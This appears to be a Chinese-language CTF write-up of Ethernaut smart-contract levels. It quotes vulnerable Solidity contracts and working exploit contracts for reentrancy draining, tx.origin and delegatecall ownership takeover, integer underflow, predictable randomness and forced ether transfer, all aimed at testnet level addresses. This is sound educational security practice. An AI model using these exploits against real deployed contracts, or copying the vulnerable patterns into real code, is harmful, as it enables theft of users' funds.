Ethernaut 之前已经做过一部分了,现在用不了 Goeril
了,正好重新做一下。
Hello Ethernaut
跟着提示走
提交
web3.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from web3 import Web3, HTTPProvider rpc = 'https://rpc2.sepolia.org' web3 = Web3(HTTPProvider(rpc)) contract_abi = [...] contract_address = "0xF4D97Ae3B0ab2f942B9EE0A653D6e7b2D0868386" contract_instance = web3.eth.contract(address=contract_address, abi=contract_abi) print (contract_instance.caller.info())import IPythonIPython.embed()
Fallback
怪,全程没看到 fallback
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
有两个点可以获得 owner,第一个要 contribute 超过 1000 ether
不太现实,看第二个 receive()
需要对合约地址转账,并且自己的 contribute > 0。
先调用 contribute,再用 sendTransaction 对合约进行转账,最后 withdraw
提走。
Fallout
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; //constructor function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
constructor 函数 Fa1lout 与合约不同名,可以直接调用
Coin Flip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
构造一个合约与题目交互时,两个合约是在同一区块的,二者 block.number
相同,side 是可预测的
构造 Exp 合约,abstract 抽象类的函数要加 virtual,用 interface
也行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract CoinFlip { function flip(bool _guess) virtual public returns (bool); } contract exploit { CoinFlip coinflip = CoinFlip(0xB62a47e3e225814c01ceD4D7Cba1Ee1fCc9bf0A2); uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function exp() public { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; coinflip.flip(side); } }
编译后部署 exploit,打十次就好了
Telephone
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
调用 changeOwner 时 tx.origin != msg.sender
tx.origin 是发起调用的账户地址,msg.sender
是直接调用该合约的地址,也就是可以构造一个合约来调用 changeOwner,这样
tx.origin 是我们自己的账户地址,msg.sender 是我们构造的合约的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Telephone { function changeOwner(address _owner) external ; } contract exploit { Telephone telephone = Telephone(0xc4215166b65A6b8E8b5af4d50d89c34eD6C17A31); function exp() public { telephone.changeOwner(msg.sender); } }
通过调用 exp()把 owner 变成自己账户。
Token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
这一关的目标是攻破下面这个基础 token 合约
你最开始有 20 个 token, 如果你通过某种方法可以增加你手中的 token
数量, 你就可以通过这一关, 当然越多越好
尝试转 -1
给关卡地址失败,uint 好像没负数。
这里没用 safemath,直接转 21 出来,就会发生下溢,不会有
balances[msg.sender] - _value < 0
的情况出现
Delegation
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
fallback 的几种触发方式:
不存在函数
存在函数但没传参数
fallback 有 payable 属性,收钱触发
delegatecall 调用:
当给 call
传入的第一个参数是四个字节时,那么合约就会默认这四个字节是要调用的函数,它会把这四个字节当作函数的
id 来寻找调用函数,而一个函数的 id
在以太坊的函数选择器的生成规则里就是其函数签名 sha3(keccak256)的前 4
个字节。
1 contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});
Force
1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */}
用 selfdestruct 强制转账
selfdestruct(address payable recipient)
: destroy the
current contract, sending its funds to the given address
1 2 3 4 5 6 7 8 9 10 11 12 13 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract exploit { constructor() payable {} receive() external payable {} function exp() public { address payable target = payable(0x8F0f49674b4007FBfae6a06a4Ed504d25c5d0c03); selfdestruct(target); } }
部署攻击合约,然后转点钱进去,执行 exp()
Vault
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
private 变量并不完全
private,只是无法被其他合约直接访问。但区块链上的信息是公开的,可以直接通过
getStorageAt()
来访问
1 2 3 4 5 6 7 8 9 10 11 12 from web3 import Web3, HTTPProviderrpc = 'https://rpc2.sepolia.org' web3 = Web3(HTTPProvider(rpc)) contract_address = '0xED1Dc5ED8EB6f90814e3408DCDEb52666087b97e' solt1 = web3.eth.get_storage_at(contract_address, 1 ) print (solt1)print (solt1.hex ())
King
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } }
合约里原本有 0.001 ether
只要转入多于 0.001 ether 就可以拿到
owner,但是再提交时关卡会转入更多的 ether 拿回 owner。
合约使用 transfer 来给原先 owner 退钱,对 transfer
函数,若接受合约没有设置 receive、fallback payable,或者接收时 revert
都会导致 transfer 停下并且后面的函数无法执行。
构造 EXP 合约,转账转了半天才转明白,0.6.0 和 0.8.0 不太一样
1 2 3 4 5 6 7 8 9 10 11 12 13 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract exploit { constructor() payable {} function exp() public { address _target = 0x7b7E209e0f3A9d68BdEeD3253BCb5E96837553cc; (bool result,) = payable(_target).call{value: 2000000000000000}(""); if(!result) revert(); } //没有接收函数 }
Re-entrancy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
使用 msg.sender.call{value:_amount}("");
形式的转账函数会传递所有可用 Gas 进行调用,从而造成重入漏洞。
使用 withdraw 提钱的时候,合约接收 ether 的函数中可以再次执行
withdraw,并且此时 balances [msg.sender]
还没有减少可以通过校验,所以可以提取超过 balances 的钱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface INF { function withdraw(uint _amount) external ; function donate(address _to) external payable; } contract exploit { constructor() payable {} address level = 0x0e6D24924301D65Eaa5E990A5F4E486B99D6492A; INF inf = INF(level); function exp() public { inf.donate{value: 1000000000000000}(address(this)); //这里写成0.001 ether就出问题,可能ether的话只能整数? inf.withdraw(0.001 ether); } receive() external payable { inf.withdraw(0.001 ether); } }
Elevator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
楼层不重要,让 isLastFloor 第一次返回 false,第二次返回 true
就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Elevator { function goTo(uint _floor) external; } contract Building { bool flag = true; function isLastFloor(uint _floor) public returns (bool) { flag = !flag; return flag; } function exp() public { address level = 0xBC1a9333d466d3bC9581DD374Cf2788F2e588a79; Elevator elevator = Elevator(level); elevator.goTo(1); } }
Privacy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
跟 Vault 那题好像没啥区别,也不是动态数组,直接看 solt5 就好了。
1 2 3 solt5 : 0x69f815311af63b8b18d90a22a5c6e7950d049b34260997f903d13a259ccd5112 await contract.unlock ('0x69f815311af63b8b18d90a22a5c6e7950d049b34260997f903d13a259ccd5112' .slice (0 ,34 ))
Gatekeeper One
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
gateOne: 同 Telephone
gateThree:
_gateKey=bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF)
好好好,gateTwo 咋也打不通了,下次再看
GateKeeper Two
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
gateOne 不说了
gateTwo,在构造函数中调用就可以绕过
gateThree,bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperTwoInterface { function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwoAttack { GatekeeperTwoInterface gatekeeper; constructor(address GatekeeperTwoContractAddress) public { gatekeeper = GatekeeperTwoInterface(GatekeeperTwoContractAddress); bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); gatekeeper.enter(key); } }
Naught Coin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20('NaughtCoin', '0x0') { player = _player; INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }